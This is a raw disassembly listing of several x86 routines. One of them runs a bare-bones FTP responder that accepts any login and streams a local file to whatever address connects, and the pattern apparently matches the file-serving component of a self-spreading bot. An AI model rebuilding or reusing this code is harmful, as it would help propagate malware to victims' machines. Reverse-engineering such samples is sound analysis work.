		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_40197E
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401811
		test	al, al
		jnz	short loc_41E76E


loc_41E7E2:				; CODE XREF: sub_41E660+62j
					; sub_41E660+106j
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401825
; ---------------------------------------------------------------------------
		mov	al, 1
		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41E7FA:				; CODE XREF: sub_41E660+37j
		lea	ecx, [edi+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41E8EE
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+64h+var_4], 2
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41EC15
		push	offset asc_444600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 3
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 4
		call	sub_4014DD
		push	eax
		push	offset dword_444FFC
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41E8EE:				; CODE XREF: sub_41E660+1ACj
		lea	ecx, [edi+8Eh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EA55
		lea	edx, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_4016EA
; ---------------------------------------------------------------------------
		lea	eax, [esp+60h+var_48]
		mov	ebx, 5
		push	eax
		mov	[esp+64h+var_4], ebx
		call	sub_402162
		add	esp, 4
		test	al, al
		jz	loc_41EA3D
		push	0
		push	3Eh
		push	13h
		push	ebx
		push	3
		push	9
		push	16h
		push	12h
		push	ebx
		push	13h
		lea	ecx, [esp+88h+var_3C]
		push	3Dh
		push	ecx
		call	sub_4019C4
		add	esp, 30h
		mov	edi, eax
		lea	ebp, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 6
		mov	ecx, ebp
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_401B54
		lea	ecx, [esp+60h+var_4C]
		xor	edi, edi
		push	ecx
		lea	ecx, [esp+64h+var_48]
		call	sub_401465
		mov	edx, [eax]
		lea	eax, [esp+60h+var_4C]
		push	eax
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], edx
		call	sub_4013F7
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jz	short loc_41EA3D
		mov	ebx, dword_5118D8


loc_41E9D6:				; CODE XREF: sub_41E660+3DBj
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_401055
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	edi
		push	offset dword_444FF0
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		push	5DCh
		call	ebx
		lea	ecx, [esp+60h+var_50]
		call	sub_401839
		lea	eax, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4013F7
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jnz	short loc_41E9D6


loc_41EA3D:				; CODE XREF: sub_41E660+2CFj
					; sub_41E660+36Ej
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401253
; ---------------------------------------------------------------------------
		mov	al, 1
		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41EA55:				; CODE XREF: sub_41E660+2A3j
		lea	ecx, [edi+0BCh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EB4C
		push	offset asc_444600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+64h+var_4], 7
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41EC15
		push	offset asc_444600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 8
		call	sub_4017EE
		push	eax
		call	sub_401A0A
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 9
		call	sub_4014DD
		push	eax
		push	offset dword_444FE8
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41EB4C:				; CODE XREF: sub_41E660+40Aj
		lea	ecx, [edi+60h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EC15
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+64h+var_4], 0Ah
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	short loc_41EC15
		push	offset asc_444600 ; " "
		lea	ecx, [esp+64h+var_24]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 0Bh
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+60h+var_24]
		mov	ebx, eax
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	ebx, ebx
		jz	short loc_41EC15
		push	ebx
		push	offset dword_444FDC
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		push	ebx
		call	sub_4018B6
		add	esp, 1Ch
		jmp	short loc_41EC17
; ---------------------------------------------------------------------------


loc_41EC15:				; CODE XREF: sub_41E660+1F0j
					; sub_41E660+44Ej ...
		xor	al, al


loc_41EC17:				; CODE XREF: sub_41E660+195j
					; sub_41E660+289j ...
		mov	ecx, [esp+60h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 50h
		retn	4
sub_41E660	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 180h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_41EDB0:				; CODE XREF: ___:loc_402004j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	(offset	aD+26h)
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	edi, dword_5118D8
		mov	[ebp-10h], esp
		mov	esi, ecx
		mov	dword ptr [ebp-4], 0


loc_41EDE0:				; CODE XREF: ___:0041EDF1j
		mov	al, [esi+0ABh]
		test	al, al
		jnz	short loc_41EDF3
		push	3E8h
		call	edi
		jmp	short loc_41EDE0
; ---------------------------------------------------------------------------


loc_41EDF3:				; CODE XREF: ___:0041EDE8j
		mov	al, [esi+0ACh]
		lea	ecx, [esi+15h]
		push	eax
		push	ecx
		mov	ecx, offset byte_449277
		call	sub_401A41
		lea	edx, [ebp-14h]
		mov	ecx, offset byte_4E8E9B
		push	edx
		mov	[ebp-14h], esi
		call	sub_40120D
; ---------------------------------------------------------------------------


loc_41EE19:				; DATA XREF: ___:loc_41EE2Co
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41EE2C:				; DATA XREF: ___:00442504o
		mov	eax, offset loc_41EE19
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41EE70	proc near		; CODE XREF: sub_401DFCj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		mov	[esi+11h], eax
		mov	cl, [eax+94h]
		mov	[esi+0A9h], cl
		mov	dl, [eax+93h]
		mov	[esi+0A8h], dl
		mov	cl, [eax+95h]
		add	eax, 15h
		mov	[esi+0AAh], cl
		push	eax
		lea	ecx, [esi+2Ah]
		call	sub_401FDC
		mov	edx, [esi+11h]
		lea	ecx, [esi+69h]
		add	edx, 54h
		push	edx
		call	sub_401FDC
		mov	eax, [esi+11h]
		lea	ecx, [esi+54h]
		add	eax, 3Fh
		push	eax
		call	sub_401FDC
		mov	ecx, [esi+11h]
		add	ecx, 2Ah
		push	ecx
		lea	ecx, [esi+3Fh]
		call	sub_401FDC
		mov	edx, [esi+11h]
		lea	ecx, [esi+15h]
		push	edx
		call	sub_401FDC
		mov	al, [esp+4+arg_4]
		mov	byte ptr [esi+0ABh], 1
		mov	[esi+0ACh], al
		pop	esi
		retn	8
sub_41EE70	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41EF30	proc near		; CODE XREF: sub_4020C7j

var_DC		= dword	ptr -0DCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_94		= byte ptr -94h
var_88		= dword	ptr -88h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_68		= dword	ptr -68h
var_64		= byte ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_44		= byte ptr -44h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
arg_0		= byte ptr  4
arg_8		= byte ptr  0Ch
arg_14		= dword	ptr  18h
arg_18		= byte ptr  1Ch
arg_20		= byte ptr  24h
arg_38		= byte ptr  3Ch
arg_50		= byte ptr  54h
arg_68		= byte ptr  6Ch
arg_80		= byte ptr  84h
arg_88		= byte ptr  8Ch
arg_A8		= byte ptr  0ACh
arg_E4		= byte ptr  0E8h
arg_F0		= byte ptr  0F4h
arg_118		= byte ptr  11Ch
arg_128		= byte ptr  12Ch
arg_138		= byte ptr  13Ch
arg_148		= byte ptr  14Ch
arg_158		= byte ptr  15Ch
arg_908		= byte ptr  90Ch
arg_18C8	= dword	ptr  18CCh
arg_18D8	= dword	ptr  18DCh
arg_1930	= byte ptr  1934h
arg_1970	= dword	ptr  1974h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41EF30
		push	eax
		mov	eax, 19B4h
		mov	large fs:0, esp
		call	sub_437B30
		push	esi
		push	edi
		mov	edi, ecx
		xor	eax, eax
		mov	[esp+14h+var_8], edi
		mov	[esp+14h+arg_14], 10h
		lea	esi, [edi+19h]
		mov	ecx, esi
		mov	[ecx], eax
		mov	[ecx+4], eax
		mov	[ecx+8], eax
		mov	[ecx+0Ch], eax
		mov	word ptr [esi],	2
		mov	[edi+1Dh], eax
		mov	dx, word ptr dword_44964F
		push	edx
		nop
		call	near ptr 71AB2B66h
		push	6
		push	1
		push	2
		mov	[edi+1Bh], ax
		call	near ptr 71AB3B91h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[edi+15h], eax
		jnz	short loc_41EFB7
		lea	eax, [esp+24h+var_18]
		mov	ecx, offset byte_4E8E9B
		push	eax
		mov	[esp+28h+var_18], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F65A
; ---------------------------------------------------------------------------


loc_41EFB7:				; CODE XREF: sub_41EF30+6Dj
		push	10h
		push	esi
		push	eax
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_41EFE7
		mov	ecx, [edi+15h]
		push	ecx
		call	near ptr 71AB9639h
		nop
		lea	edx, [esp+34h+var_28]
		mov	ecx, offset byte_4E8E9B
		push	edx
		mov	[esp+38h+var_28], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F65A
; ---------------------------------------------------------------------------


loc_41EFE7:				; CODE XREF: sub_41EF30+93j
		mov	al, byte_4E8E44
		test	al, al
		jz	loc_41F650
		push	ebx
		mov	ebx, dword_511B14
		push	ebp
		mov	ebp, dword_511CA0


loc_41F002:				; CODE XREF: sub_41EF30+718j
		mov	eax, [edi+15h]
		push	0Ah
		push	eax
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41F01D
		push	0FAh
		jmp	loc_41F63B
; ---------------------------------------------------------------------------


loc_41F01D:				; CODE XREF: sub_41EF30+E1j
		mov	eax, [edi+15h]
		lea	ecx, [esp+40h+var_C]
		lea	edx, [esp+40h+arg_F0]
		push	ecx
		push	edx
		push	eax
		call	near ptr 71AC1028h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_41F636
		xor	ecx, ecx
		lea	edx, [esp+4Ch+var_14]
		mov	[esp+4Ch+var_2C], ecx
		lea	eax, [esp+4Ch+var_2C]
		mov	[esp+4Ch+var_28], ecx
		push	edx
		mov	[esp+50h+var_24], ecx
		push	eax
		push	esi
		mov	[esp+58h+var_14], 10h
		mov	[esp+58h+var_20], ecx
		nop
		call	near ptr 71AC0B50h
		mov	eax, [esp+58h+var_34]
		test	al, al
		jz	loc_41F641
		mov	cl, byte_449DB8
		test	cl, cl
		jz	short loc_41F0CF
		mov	edx, [esp+58h+var_34+3]
		mov	ecx, dword_44964F
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+5Ch+var_34+2]
		push	edx
		mov	edx, [esp+60h+var_34+1]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aFtpD_D_D_DOnD ;	"ftp: %d.%d.%d.%d on %d"
		mov	ecx, offset dword_449958
		call	sub_4014DD
		push	eax
		push	0
		push	0
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 28h


loc_41F0CF:				; CODE XREF: sub_41EF30+14Ej
		lea	ecx, [esp+58h+arg_0]
		call	sub_40142E
		push	1000h
		push	1000h
		lea	ecx, [esp+60h+arg_0]
		mov	[esp+60h+arg_1970], 0
		call	sub_401C71
		push	eax
		call	sub_4015F5
		add	esp, 8
		lea	eax, [esp+58h+arg_0]
		lea	ecx, [esp+58h+arg_18]
		push	eax
		call	sub_4014D3
		lea	ecx, [esp+58h+arg_0]
		mov	byte ptr [esp+58h+arg_1970], 1
		push	ecx
		lea	ecx, [esp+5Ch+arg_18]
		call	sub_401FDC
		mov	edi, offset a220 ; "220	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a220	; "220 \r\n"
		push	esi
		call	ebp
		push	0
		lea	edx, [esp+6Ch+arg_158]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a331 ; "331	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a331	; "331 \r\n"
		push	esi
		call	ebp
		push	0
		lea	eax, [esp+7Ch+arg_148]
		push	800h
		push	eax
		push	esi
		call	sub_401280
		mov	edi, offset a230 ; "230	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a230	; "230 \r\n"
		push	esi
		call	ebp
		push	0
		lea	ecx, [esp+8Ch+arg_138]
		push	800h
		push	ecx
		push	esi
		call	sub_401280
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp
		push	0
		lea	edx, [esp+9Ch+arg_128]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		add	esp, 10h
		lea	eax, [esp+98h+arg_128]
		lea	ecx, [esp+98h+var_C]
		push	eax
		call	sub_401870
		push	offset asc_444600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+0A4h+var_C]
		mov	[esp+0A4h+arg_1930], 2
		call	sub_4016B8
		push	offset asc_445078 ; ","
		lea	edx, [esp+9Ch+arg_38]
		push	0
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		mov	[esp+0A4h+arg_1930], 3
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 4
		call	sub_4017EE
		push	eax
		call	ebx
		add	esp, 4
		lea	ecx, [esp+98h+arg_38]
		mov	edi, eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445078 ; ","
		lea	eax, [esp+9Ch+arg_80]
		push	1
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 5
		call	sub_4017EE
		push	eax
		call	ebx
		add	esp, 4
		lea	ecx, [esp+98h+arg_80]
		mov	[esp+98h+var_7C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445078 ; ","
		lea	ecx, [esp+9Ch+arg_8]
		push	2
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 6
		call	sub_4017EE
		push	eax
		call	ebx
		add	esp, 4
		lea	ecx, [esp+98h+arg_8]
		mov	[esp+98h+var_5C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445078 ; ","
		lea	edx, [esp+9Ch+arg_68]
		push	3
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 7
		call	sub_4017EE
		push	eax
		call	ebx
		add	esp, 4
		lea	ecx, [esp+98h+arg_68]
		mov	[esp+98h+var_58], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445078 ; ","
		lea	eax, [esp+9Ch+arg_20]
		push	4
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 8
		call	sub_4017EE
		push	eax
		call	ebx
		add	esp, 4
		lea	ecx, [esp+98h+arg_20]
		mov	[esp+98h+var_88], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445078 ; ","
		lea	ecx, [esp+9Ch+arg_50]
		push	5
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 9
		call	sub_4017EE
		push	eax
		call	ebx
		add	esp, 4
		lea	ecx, [esp+98h+arg_50]
		mov	[esp+98h+var_80], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		mov	dl, byte ptr [esp+98h+var_88]
		mov	al, byte ptr [esp+98h+var_80]
		mov	ecx, [esp+98h+var_58]
		mov	byte ptr [esp+98h+var_68+1], dl
		mov	edx, [esp+98h+var_5C]
		mov	byte ptr [esp+98h+var_68], al
		mov	eax, [esp+98h+var_68]
		push	ecx
		and	eax, 0FFFFh
		push	edx
		mov	[esp+0A0h+var_88], eax
		mov	eax, [esp+0A0h+var_7C]
		push	eax
		push	edi
		lea	ecx, [esp+0A8h+arg_A8]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ecx
		call	near ptr byte_5F285B
		nop
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 18h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp
		push	0
		lea	edx, [esp+0ACh+arg_118]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a150 ; "150	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a150	; "150 \r\n"
		push	esi
		call	ebp
		mov	eax, [esp+0B8h+var_A8]
		lea	ecx, [esp+0B8h+arg_88]
		push	eax
		push	ecx
		call	sub_401AA0
		add	esp, 8
		lea	ecx, [esp+0B8h+var_44]
		mov	[esp+0B8h+var_A8], eax
		push	offset aRb	; "rb"
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		mov	[esp+0B8h+var_A0], edi
		jz	loc_41F595
		cmp	[esp+0B8h+var_A8], 0FFFFFFFFh
		jz	loc_41F595
		push	2
		push	0
		push	edi
		nop
		call	near ptr 77C4139Ch
		push	edi
		nop
		call	near ptr 77C41574h
		push	0
		push	0
		push	edi
		mov	[esp+0D4h+var_9C], eax
		nop
		call	near ptr 77C4139Ch
		add	esp, 1Ch


loc_41F4C0:				; CODE XREF: sub_41EF30+5E1j
		mov	edx, [esp+0B8h+var_A0]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+0B8h+arg_908]
		rep stosd
		push	edx
		push	1000h
		lea	eax, [esp+0C0h+arg_908]
		push	1
		push	eax
		call	near ptr 77C411FBh
		nop
		mov	ecx, [esp+0C8h+var_A0]
		mov	edi, eax
		add	esp, 10h
		test	byte ptr [ecx+0Ch], 20h
		jnz	short loc_41F513
		mov	eax, [esp+0B8h+var_A8]
		push	0
		lea	edx, [esp+0BCh+arg_908]
		push	edi
		push	edx
		push	eax
		call	ebp
		cmp	edi, 1000h
		jz	short loc_41F4C0


loc_41F513:				; CODE XREF: sub_41EF30+5C7j
		mov	eax, [esp+0C8h+var_B4]
		mov	edx, [eax+11h]
		inc	edx
		mov	[eax+11h], edx
		mov	cl, byte_449DB8
		test	cl, cl
		mov	eax, edx
		jz	short loc_41F57C
		mov	edx, [esp+0C8h+var_A4+3]
		mov	ecx, [esp+0C8h+var_AC]
		push	eax
		mov	eax, [esp+0CCh+var_A4+2]
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+0D0h+var_A4+1]
		push	edx
		mov	edx, [esp+0D4h+var_A4]
		and	eax, 0FFh
		and	ecx, 0FFh
		push	eax
		and	edx, 0FFh
		push	ecx
		push	edx
		push	offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total	s"...
		mov	ecx, offset dword_449958
		call	sub_4014DD
		push	eax
		push	0
		push	0
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 2Ch


loc_41F57C:				; CODE XREF: sub_41EF30+5F8j
		mov	eax, [esp+0C8h+var_B0]
		push	eax
		nop
		call	near ptr 77C40AB1h
		mov	ecx, [esp+0CCh+var_B8]
		add	esp, 4
		push	ecx
		nop
		call	near ptr 71AB9639h


loc_41F595:				; CODE XREF: sub_41EF30+55Bj
					; sub_41EF30+566j
		mov	edi, offset a226 ; "226	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a226	; "226 \r\n"
		push	esi
		call	ebp
		push	0
		lea	edx, [esp+0E0h+arg_E4]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a221 ; "221	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a221	; "221 \r\n"
		push	esi
		call	ebp
		push	esi
		nop
		call	near ptr 71AB9639h
		lea	ecx, [esp+0F0h+var_AC]
		mov	byte ptr [esp+0F0h+arg_18D8], 2
		call	sub_401226
		lea	ecx, [esp+0F0h+var_64]
		mov	byte ptr [esp+0F0h+arg_18D8], 1
		call	sub_401226
		lea	ecx, [esp+0F0h+var_7C]
		mov	byte ptr [esp+0F0h+arg_18D8], 0
		call	sub_401226
		lea	ecx, [esp+0F0h+var_94]
		mov	[esp+0F0h+arg_18D8], 0FFFFFFFFh
		call	sub_401226
		mov	edi, [esp+0F0h+var_DC]


loc_41F636:				; CODE XREF: sub_41EF30+109j
		push	9C4h


loc_41F63B:				; CODE XREF: sub_41EF30+E8j
		nop
		call	near ptr 2830000h


loc_41F641:				; CODE XREF: sub_41EF30+140j
		mov	al, byte_4E8E44
		test	al, al
		jnz	loc_41F002
		pop	ebp
		pop	ebx


loc_41F650:				; CODE XREF: sub_41EF30+BEj
		mov	eax, [edi+15h]
		push	eax
		nop
		call	near ptr 71AB9639h


loc_41F65A:				; CODE XREF: sub_41EF30+82j
					; sub_41EF30+B2j
		mov	ecx, [esp+0F0h+arg_18C8]
		pop	edi
		xor	eax, eax
		pop	esi
		mov	large fs:0, ecx
		add	esp, 19C0h
		retn
sub_41EF30	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41F860	proc near		; CODE XREF: sub_401230j

var_90		= dword	ptr -90h
var_8C		= byte ptr -8Ch
var_7C		= byte ptr -7Ch
var_78		= byte ptr -78h
var_60		= byte ptr -60h
var_48		= byte ptr -48h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41F860
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 84h
		push	ebx
		push	ebp
		push	esi
		push	71h
		call	sub_40198D
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[esp+9Ch+var_90], eax
		jnz	short loc_41F89D
		mov	byte_4E8E99, 0
		jmp	loc_41FA01
; ---------------------------------------------------------------------------


loc_41F89D:				; CODE XREF: sub_41F860+2Fj
		mov	cl, byte_44927B
		xor	ebx, ebx
		cmp	cl, bl
		mov	byte_4E8E99, 1
		jnz	loc_41F9F4
		lea	ecx, [esp+9Ch+var_8C]
		push	ecx
		push	eax
		call	sub_402009
		mov	ebp, eax
		add	esp, 8
		cmp	ebp, 0FFFFFFFFh
		jz	loc_41F9E7
		push	edi
		lea	ecx, [esp+0A0h+var_7C]
		call	sub_40142E
		mov	[esp+0A0h+var_4], ebx
		call	sub_401F0A
		mov	esi, dword_511AC8
		call	esi
		cdq
		mov	ecx, 3
		push	offset byte_448F30
		idiv	ecx
		lea	ecx, [esp+0A0h+var_78]
		mov	edi, edx
		add	edi, 0Ah
		call	sub_4015E1
		cmp	edi, ebx
		jle	short loc_41F966


loc_41F90A:				; CODE XREF: sub_41F860+104j
		lea	ecx, [esp+9Ch+var_60]
		call	sub_40142E
		lea	edx, [esp+9Ch+var_78]
		lea	ecx, [esp+9Ch+var_60]
		push	edx
		mov	byte ptr [esp+0A0h], 1
		call	sub_401FDC
		call	esi
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+9Ch+var_60]
		add	edx, 61h
		push	edx
		call	sub_4017EE
		push	eax
		lea	edx, [esp+0A4h+var_78]
		push	offset dword_444E54
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+9Ch+var_60]
		mov	[esp+9Ch], bl
		call	sub_401226
		dec	edi
		jnz	short loc_41F90A


loc_41F966:				; CODE XREF: sub_41F860+A8j
		push	0Ah
